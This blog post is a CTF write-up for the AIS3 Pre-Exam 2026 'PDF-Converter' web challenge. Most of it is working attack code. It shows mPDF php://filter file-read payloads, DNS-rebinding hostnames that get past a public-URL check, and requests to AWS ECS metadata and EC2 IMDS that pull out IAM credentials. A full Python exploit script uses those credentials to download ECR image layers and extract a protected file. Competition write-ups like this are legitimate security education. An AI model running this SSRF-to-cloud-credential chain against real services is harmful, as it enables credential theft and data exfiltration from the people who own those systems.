Skip to content
Suzu

【Web】AIS3 Pre-Exam 2026 Writeup: PDF-Converter

A web writeup for PDF-Converter, focusing on PHP, PDF generation, and file-read behavior.

Series
30 posts
View the complete series →
On this page

【AIS3 Pre-Exam 2026 Writeup】Web - PDF-Converter

I started from the page source and the exposed files. No source bundle was given in this directory, so the HTML and phpinfo.php were the first things to read.

curl -i http://chals1.ais3.org:33333/

The page was a small URL-to-PDF form. It said the server fetches a public URL, normalizes the HTML, and makes a PDF with mpdf/mpdf.

The response headers were also useful.

Server: nginx/1.30.0
X-Powered-By: PHP/8.3.31

The form had two protections in front: reCAPTCHA, and a public-URL check. It also said private IP ranges, localhost, and credentialed URLs were blocked. So direct SSRF to metadata should fail.

Common files were next.

curl -i http://chals1.ais3.org:33333/phpinfo.php

phpinfo.php was open. That was much better than guessing.

Some useful values:

DOCUMENT_ROOT = /var/www/html/public
SCRIPT_FILENAME = /var/www/html/public/phpinfo.php
APACHE_RUN_USER = www-data
MPDF_TEMP_DIR = /tmp/mpdf
AWS_EXECUTION_ENV = AWS_ECS_EC2
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI = /v2/credentials/f51b875b-c690-4d20-a459-e34f77623aee
ECS_CONTAINER_METADATA_URI_V4 = http://169.254.170.2/v4/954ae12d-1935-42ee-9238-ec9ab7fbbd3c
ECS_AGENT_URI = http://169.254.170.2/api/954ae12d-1935-42ee-9238-ec9ab7fbbd3c

At first I still went into the mPDF direction. HTML-to-PDF bugs often become local file read. The flag was at /flag.txt, so that guess felt natural.

One simple payload idea:

<img src="././php://filter/convert.base64-encode/resource=/flag.txt" />

I also tried HITCON web2pdf style payloads with WMF/BMP/SVG and php://filter.

The server reached local asset handling, but it returned:

Local file assets are not allowed during PDF rendering.

No trigger there. Also the PHP user was www-data, and the challenge text said /flag.txt was root-only. Even if normal LFI worked, it probably would not read the file.

So the useful bug was more likely SSRF. /convert fetches my URL server-side and gives the result as PDF.

Direct metadata IP did not work:

http://169.254.170.2/...
http://169.254.169.254/...

The public-URL check blocked them.

The check looked DNS-based. I was not sure if the fetch reused the checked IP or resolved again, so DNS rebinding was worth testing.

1u.ms fit this test:

D="u$(date +%s%N)-make-1.1.1.1-rebindfor30safter2times-169.254.170.2-rr.1u.ms"

This kind of name answers public IP first, then later answers the private/link-local IP. The validator sees 1.1.1.1. The renderer can later hit 169.254.170.2.

Each /convert request needed a fresh reCAPTCHA token. One token per metadata read.

The request shape:

curl -sS --max-time 180 \
  -D /tmp/out.headers \
  -o /tmp/out.pdf \
  -X POST http://chals1.ais3.org:33333/convert \
  --data-urlencode "url=$URL" \
  --data-urlencode "g-recaptcha-response=$RECAPTCHA_TOKEN"

pdftotext /tmp/out.pdf -
strings -a /tmp/out.pdf | rg -i 'AccessKey|Role|flag|HTTP 422|captcha'

pdftotext was enough for normal PDF output. strings was useful when reCAPTCHA failed and the server returned HTML with HTTP 422 instead of a PDF.

The first metadata target came directly from phpinfo:

D="u$(date +%s%N)-make-1.1.1.1-rebindfor30safter2times-169.254.170.2-rr.1u.ms"
URL="http://$D/v2/credentials/f51b875b-c690-4d20-a459-e34f77623aee"

The PDF contained AWS task role credentials.

{
  "RoleArn": "arn:aws:iam::698387659318:role/url-to-pdf-task",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "<redacted>",
  "Token": "<redacted>"
}

I tested them with boto3. sts:GetCallerIdentity worked, but useful APIs were denied. ECS describe, ECR, CloudWatch Logs, S3, and SSM were not enough from this role.

The task metadata URI was still useful.

D="u$(date +%s%N)-make-1.1.1.1-rebindfor30safter2times-169.254.170.2-rr.1u.ms"
URL="http://$D/v4/954ae12d-1935-42ee-9238-ec9ab7fbbd3c/task"

Important fields from the PDF:

{
  "Cluster": "url-to-pdf",
  "TaskARN": "arn:aws:ecs:us-east-1:698387659318:task/url-topdf/f3845ad17dd5447cb99749deea1cb52a",
  "Family": "url-to-pdf",
  "Revision": "16",
  "LaunchType": "EC2",
  "Containers": [
    {
      "Name": "app",
      "DockerId": "d79e0e0b8ee873ef0771328287c56e4cc6bcb06ea4f5447709dcc8fb24a62cc0",
      "Image": "698387659318.dkr.ecr.us-east-1.amazonaws.com/url-topdf:dev-20260512143451",
      "ImageID": "sha256:5ef5118975f22308968b6570015f05e5aebbac19bba5e734dfae336c0baf7abc",
      "NetworkMode": "host"
    }
  ]
}

LaunchType was EC2, not Fargate. The container also used host network. That made me try EC2 IMDS at 169.254.169.254.

First I listed the instance profile role:

D="u$(date +%s%N)-make-1.1.1.1-rebindfor30safter2times-169.254.169.254-rr.1u.ms"
URL="http://$D/latest/meta-data/iam/security-credentials/"

The PDF text was:

url-to-pdf-ecs-instance

Next request used another token:

D="u$(date +%s%N)-make-1.1.1.1-rebindfor30safter2times-169.254.169.254-rr.1u.ms"
URL="http://$D/latest/meta-data/iam/security-credentials/url-to-pdf-ecs-instance"

The result was normal IMDS credentials:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "<redacted>",
  "Token": "<redacted>",
  "Expiration": "2026-05-17T03:49:46Z"
}

The identity:

arn:aws:sts::698387659318:assumed-role/url-to-pdf-ecs-instance/i-0cb378e4239635d60

This role was also not wide open. ECS, Logs, SSM, and EC2 describe were denied. But ecr:GetAuthorizationToken worked. That matched the ECS-on-EC2 setup, because the host needs to pull images.

The image name in metadata was:

698387659318.dkr.ecr.us-east-1.amazonaws.com/url-topdf:dev-20260512143451

url-topdf gave RepositoryNotFoundException. I tried url-to-pdf next because the family and cluster used that spelling. That repo worked with the same tag.

resp = ecr.batch_get_image(
    repositoryName="url-to-pdf",
    imageIds=[{"imageTag": "dev-20260512143451"}],
    acceptedMediaTypes=[
        "application/vnd.docker.distribution.manifest.v2+json",
        "application/vnd.oci.image.manifest.v1+json",
    ],
)

The manifest digest:

sha256:f2c4b9bfbcafd0dac2ed288dc1dc455c4f373889254d9eb1f5626c3eeddfd1f6

There were 28 layers.

The flag was not read through PHP. I downloaded the ECR layers and opened them as tar files. That bypasses the runtime root-only file permission, because image layers are just filesystem diff archives.

Full exploit script:

#!/usr/bin/env python3
import gzip
import json
import re
import shutil
import subprocess
import sys
import time
import tarfile
import urllib.request
from pathlib import Path

import boto3


BASE = "http://chals1.ais3.org:33333"
ECS_METADATA_ID = "954ae12d-1935-42ee-9238-ec9ab7fbbd3c"


def rebind(ip):
    return f"u{time.time_ns()}-make-1.1.1.1-rebindfor30safter2times-{ip}-rr.1u.ms"


def convert(url, token, name):
    pdf = Path(f"/tmp/{name}.pdf")
    subprocess.run(
        [
            "curl",
            "-sS",
            "--max-time",
            "180",
            "-o",
            str(pdf),
            "-X",
            "POST",
            f"{BASE}/convert",
            "--data-urlencode",
            f"url={url}",
            "--data-urlencode",
            f"g-recaptcha-response={token}",
        ],
        check=True,
    )
    text = subprocess.check_output(
        ["pdftotext", str(pdf), "-"],
        stderr=subprocess.DEVNULL,
    ).decode(errors="replace")
    if "HTTP 422" in text or "reCAPTCHA" in text:
        raise RuntimeError(f"{name}: bad or expired reCAPTCHA token")
    return text.replace("\f", "")


def field(text, name):
    m = re.search(rf'"{re.escape(name)}"\s*:\s*"([\s\S]*?)"\s*(?:,|}})', text)
    if not m:
        raise RuntimeError(f"missing field {name}")
    return re.sub(r"\s+", "", m.group(1))


def get_task_metadata(token):
    url = f"http://{rebind('169.254.170.2')}/v4/{ECS_METADATA_ID}/task"
    text = convert(url, token, "taskmeta")
    image = re.search(r'"Image"\s*:\s*"([^"]+)"', text).group(1)
    return image


def get_instance_creds(role_token, creds_token):
    role_url = (
        f"http://{rebind('169.254.169.254')}"
        "/latest/meta-data/iam/security-credentials/"
    )
    role_text = convert(role_url, role_token, "imds-role")
    role = role_text.strip().split()[0]

    creds_url = (
        f"http://{rebind('169.254.169.254')}"
        f"/latest/meta-data/iam/security-credentials/{role}"
    )
    creds_text = convert(creds_url, creds_token, "imds-creds")

    return {
        "aws_access_key_id": field(creds_text, "AccessKeyId"),
        "aws_secret_access_key": field(creds_text, "SecretAccessKey"),
        "aws_session_token": field(creds_text, "Token"),
    }


def find_manifest(ecr, image):
    registry, rest = image.split("/", 1)
    repo_from_meta, tag = rest.rsplit(":", 1)

    candidates = [repo_from_meta]
    if repo_from_meta == "url-topdf":
        candidates.append("url-to-pdf")
    candidates.append("url-to-pdf")

    last_error = None
    for repo in dict.fromkeys(candidates):
        try:
            resp = ecr.batch_get_image(
                repositoryName=repo,
                imageIds=[{"imageTag": tag}],
                acceptedMediaTypes=[
                    "application/vnd.docker.distribution.manifest.v2+json",
                    "application/vnd.oci.image.manifest.v1+json",
                ],
            )
            manifest = json.loads(resp["images"][0]["imageManifest"])
            return repo, tag, manifest
        except Exception as exc:
            last_error = exc
    raise last_error


def scan_layers(ecr, repo, manifest):
    out = Path("/tmp/ecr-url-to-pdf")
    out.mkdir(exist_ok=True)

    for i, layer in enumerate(manifest["layers"]):
        digest = layer["digest"]
        _, hex_digest = digest.split(":", 1)
        layer_path = out / f"layer-{i:02d}-{hex_digest[:12]}.tar.gz"

        if not layer_path.exists():
            url = ecr.get_download_url_for_layer(
                repositoryName=repo,
                layerDigest=digest,
            )["downloadUrl"]
            tmp = layer_path.with_suffix(".tmp")
            with urllib.request.urlopen(url, timeout=120) as r, tmp.open("wb") as f:
                shutil.copyfileobj(r, f, length=1024 * 1024)
            tmp.replace(layer_path)

        with gzip.open(layer_path, "rb") as gz:
            with tarfile.open(fileobj=gz, mode="r:*") as tar:
                for member in tar:
                    name = member.name.lstrip("./")
                    if name == "flag.txt" or name.endswith("/flag.txt"):
                        f = tar.extractfile(member)
                        print(f"layer {i}")
                        print(digest)
                        print(f.read().decode(), end="")
                        return

    raise RuntimeError("flag.txt not found")


def main():
    if len(sys.argv) != 4:
        print(f"usage: {sys.argv[0]} <taskmeta-token> <role-token> <creds-token>")
        raise SystemExit(1)

    task_token, role_token, creds_token = sys.argv[1:]

    image = get_task_metadata(task_token)
    creds = get_instance_creds(role_token, creds_token)
    ecr = boto3.client("ecr", region_name="us-east-1", **creds)

    repo, tag, manifest = find_manifest(ecr, image)
    print(f"repo={repo} tag={tag} layers={len(manifest['layers'])}")
    scan_layers(ecr, repo, manifest)


if __name__ == "__main__":
    main()

Run it with three fresh reCAPTCHA tokens:

python3 solve_urltopdf.py "$TOKEN_TASKMETA" "$TOKEN_ROLE" "$TOKEN_CREDS"

The layer scan found:

layer 21
sha256:0c512a375eb1cb0abaa04701391dae405779630f04e5204aeae42ea2ce81031e

Flag:

AIS3{RJ12_4d4641c13f0d9d6580f56933d534757633bee278892cb6120531edba3f2010d4}

Share this page